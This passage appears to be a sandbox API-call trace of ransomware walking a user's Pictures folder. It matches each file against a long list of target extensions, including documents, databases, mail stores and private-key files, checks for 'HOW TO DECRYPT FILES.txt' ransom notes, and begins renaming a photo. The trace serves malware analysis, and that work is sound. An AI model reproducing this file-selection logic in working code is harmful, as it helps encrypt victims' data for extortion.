pszSpec="*.tiff") returned 0 [0091.184] lstrlenA (lpString="*.tiff") returned 6 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.backup") returned 0 [0091.184] lstrlenA (lpString="*.backup") returned 8 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.pdf") returned 0 [0091.184] lstrlenA (lpString="*.pdf") returned 5 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.cert") returned 0 [0091.184] lstrlenA (lpString="*.cert") returned 6 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.docm") returned 0 [0091.184] lstrlenA (lpString="*.docm") returned 6 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.xlsm") returned 0 [0091.184] lstrlenA (lpString="*.xlsm") returned 6 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.dwg") returned 0 [0091.184] lstrlenA (lpString="*.dwg") returned 5 [0091.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.nd") returned 0 [0091.185] lstrlenA (lpString="*.nd") returned 4 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.tlg") returned 0 [0091.185] lstrlenA (lpString="*.tlg") returned 5 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.lgb") returned 0 [0091.185] lstrlenA (lpString="*.lgb") returned 5 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.mov") returned 0 [0091.185] lstrlenA (lpString="*.mov") returned 5 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.xdw") returned 0 [0091.185] lstrlenA (lpString="*.xdw") returned 5 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.ods") returned 0 [0091.185] lstrlenA (lpString="*.ods") returned 5 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.wav") returned 0 [0091.185] lstrlenA (lpString="*.wav") returned 5 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.mp3") returned 0 [0091.185] lstrlenA (lpString="*.mp3") returned 5 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.aiff") returned 0 [0091.185] lstrlenA (lpString="*.aiff") returned 6 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.flac") returned 0 [0091.185] lstrlenA (lpString="*.flac") returned 6 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.m4a") returned 0 [0091.185] lstrlenA (lpString="*.m4a") returned 5 [0091.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp", pszSpec="*.csv") returned 0 [0091.185] lstrlenA (lpString="*.csv") returned 5 [0091.185] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dbb64a0, ftCreationTime.dwHighDateTime=0x1d5e143, ftLastAccessTime.dwLowDateTime=0x23fd560, ftLastAccessTime.dwHighDateTime=0x1d5e1ac, ftLastWriteTime.dwLowDateTime=0x23fd560, ftLastWriteTime.dwHighDateTime=0x1d5e1ac, nFileSizeHigh=0x0, nFileSizeLow=0x12030, dwReserved0=0x0, dwReserved1=0x0, cFileName="TkLfdZIlDakm76-.bmp", cAlternateFileName="TKLFDZ~1.BMP")) returned 1 [0091.185] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0091.185] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TkLfdZIlDakm76-.bmp") returned -1 [0091.185] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TkLfdZIlDakm76-.bmp") returned -1 [0091.185] lstrcmpiA (lpString1="", lpString2="TkLfdZIlDakm76-.bmp") returned -1 [0091.185] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\SaBEOyyyfc6RvTzSrWV.bmp") returned="SaBEOyyyfc6RvTzSrWV.bmp" [0091.185] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" [0091.185] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\") returned="" [0091.186] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" [0091.186] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\how to decrypt files.txt")) returned 0x20 [0091.186] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\", lpString2="TkLfdZIlDakm76-.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp" [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.ems") returned 0 [0091.186] lstrlenA (lpString="*.ems") returned 5 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.db") returned 0 [0091.186] lstrlenA (lpString="*.db") returned 4 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.dbf") returned 0 [0091.186] lstrlenA (lpString="*.dbf") returned 5 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.myox") returned 0 [0091.186] lstrlenA (lpString="*.myox") returned 6 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.myo") returned 0 [0091.186] lstrlenA (lpString="*.myo") returned 5 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qbw") returned 0 [0091.186] lstrlenA (lpString="*.qbw") returned 5 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qbb") returned 0 [0091.186] lstrlenA (lpString="*.qbb") returned 5 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qbm") returned 0 [0091.186] lstrlenA (lpString="*.qbm") returned 5 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qbo") returned 0 [0091.186] lstrlenA (lpString="*.qbo") returned 5 [0091.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qbx") returned 0 [0091.187] lstrlenA (lpString="*.qbx") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qba") returned 0 [0091.187] lstrlenA (lpString="*.qba") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qby") returned 0 [0091.187] lstrlenA (lpString="*.qby") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qbj") returned 0 [0091.187] lstrlenA (lpString="*.qbj") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.ofx") returned 0 [0091.187] lstrlenA (lpString="*.ofx") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.qif") returned 0 [0091.187] lstrlenA (lpString="*.qif") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.mye") returned 0 [0091.187] lstrlenA (lpString="*.mye") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.mbox") returned 0 [0091.187] lstrlenA (lpString="*.mbox") returned 6 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.eml") returned 0 [0091.187] lstrlenA (lpString="*.eml") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.pst") returned 0 [0091.187] lstrlenA (lpString="*.pst") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.ost") returned 0 [0091.187] lstrlenA (lpString="*.ost") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.idx") returned 0 [0091.187] lstrlenA (lpString="*.idx") returned 5 [0091.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.dbx") returned 0 [0091.188] lstrlenA (lpString="*.dbx") returned 5 [0091.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.sql") returned 0 [0091.188] lstrlenA (lpString="*.sql") returned 5 [0091.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.mdb") returned 0 [0091.188] lstrlenA (lpString="*.mdb") returned 5 [0091.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.fdb") returned 0 [0091.188] lstrlenA (lpString="*.fdb") returned 5 [0091.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.wab") returned 0 [0091.188] lstrlenA (lpString="*.wab") returned 5 [0091.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.dat") returned 0 [0091.188] lstrlenA (lpString="*.dat") returned 5 [0091.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.txt") returned 0 [0091.188] lstrlenA (lpString="*.txt") returned 5 [0091.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.jpeg") returned 0 [0091.188] lstrlenA (lpString="*.jpeg") returned 6 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.jpg") returned 0 [0091.189] lstrlenA (lpString="*.jpg") returned 5 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.png") returned 0 [0091.189] lstrlenA (lpString="*.png") returned 5 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.php") returned 0 [0091.189] lstrlenA (lpString="*.php") returned 5 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.cs") returned 0 [0091.189] lstrlenA (lpString="*.cs") returned 4 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.cpp") returned 0 [0091.189] lstrlenA (lpString="*.cpp") returned 5 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.rar") returned 0 [0091.189] lstrlenA (lpString="*.rar") returned 5 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.zip") returned 0 [0091.189] lstrlenA (lpString="*.zip") returned 5 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.html") returned 0 [0091.189] lstrlenA (lpString="*.html") returned 6 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.htm") returned 0 [0091.189] lstrlenA (lpString="*.htm") returned 5 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.xlsx") returned 0 [0091.189] lstrlenA (lpString="*.xlsx") returned 6 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.xls") returned 0 [0091.189] lstrlenA (lpString="*.xls") returned 5 [0091.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.mp4") returned 0 [0091.189] lstrlenA (lpString="*.mp4") returned 5 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.ppt") returned 0 [0091.190] lstrlenA (lpString="*.ppt") returned 5 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.pptx") returned 0 [0091.190] lstrlenA (lpString="*.pptx") returned 6 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.doc") returned 0 [0091.190] lstrlenA (lpString="*.doc") returned 5 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.dot") returned 0 [0091.190] lstrlenA (lpString="*.dot") returned 5 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.docx") returned 0 [0091.190] lstrlenA (lpString="*.docx") returned 6 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.7z") returned 0 [0091.190] lstrlenA (lpString="*.7z") returned 4 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.tar") returned 0 [0091.190] lstrlenA (lpString="*.tar") returned 5 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.bz2") returned 0 [0091.190] lstrlenA (lpString="*.bz2") returned 5 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.gz") returned 0 [0091.190] lstrlenA (lpString="*.gz") returned 4 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.mkv") returned 0 [0091.190] lstrlenA (lpString="*.mkv") returned 5 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.eml") returned 0 [0091.190] lstrlenA (lpString="*.eml") returned 5 [0091.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.msg") returned 0 [0091.190] lstrlenA (lpString="*.msg") returned 5 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.edb") returned 0 [0091.191] lstrlenA (lpString="*.edb") returned 5 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.accdb") returned 0 [0091.191] lstrlenA (lpString="*.accdb") returned 7 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.odb") returned 0 [0091.191] lstrlenA (lpString="*.odb") returned 5 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.java") returned 0 [0091.191] lstrlenA (lpString="*.java") returned 6 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.asm") returned 0 [0091.191] lstrlenA (lpString="*.asm") returned 5 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.pfx") returned 0 [0091.191] lstrlenA (lpString="*.pfx") returned 5 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.pem") returned 0 [0091.191] lstrlenA (lpString="*.pem") returned 5 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.p12") returned 0 [0091.191] lstrlenA (lpString="*.p12") returned 5 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.gpg") returned 0 [0091.191] lstrlenA (lpString="*.gpg") returned 5 [0091.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\TkLfdZIlDakm76-.bmp", pszSpec="*.vsd") returned 0 [0091.191] lstrlenA (lpString="*.vsd") returned 5 [0091.192] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dbb64a0, ftCreationTime.dwHighDateTime=0x1d5e143, ftLastAccessTime.dwLowDateTime=0x23fd560, ftLastAccessTime.dwHighDateTime=0x1d5e1ac, ftLastWriteTime.dwLowDateTime=0x23fd560, ftLastWriteTime.dwHighDateTime=0x1d5e1ac, nFileSizeHigh=0x0, nFileSizeLow=0x12030, dwReserved0=0x0, dwReserved1=0x0, cFileName="TkLfdZIlDakm76-.bmp", cAlternateFileName="TKLFDZ~1.BMP")) returned 0 [0091.192] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0091.192] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x826937f0, ftCreationTime.dwHighDateTime=0x1d5e237, ftLastAccessTime.dwLowDateTime=0xf52ff450, ftLastAccessTime.dwHighDateTime=0x1d5e2e0, ftLastWriteTime.dwLowDateTime=0xf52ff450, ftLastWriteTime.dwHighDateTime=0x1d5e2e0, nFileSizeHigh=0x0, nFileSizeLow=0x10c3d, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="w XqRmg.jpg", cAlternateFileName="WXQRMG~1.JPG")) returned 1 [0091.192] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.192] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="w XqRmg.jpg") returned -1 [0091.192] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="w XqRmg.jpg") returned -1 [0091.192] lstrcmpiA (lpString1="", lpString2="w XqRmg.jpg") returned -1 [0091.192] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.*") returned="*.*" [0091.192] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0091.192] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="" [0091.192] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" [0091.192] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to decrypt files.txt")) returned 0x20 [0091.192] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="w XqRmg.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg" [0091.192] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg" [0091.193] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg" [0091.193] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w 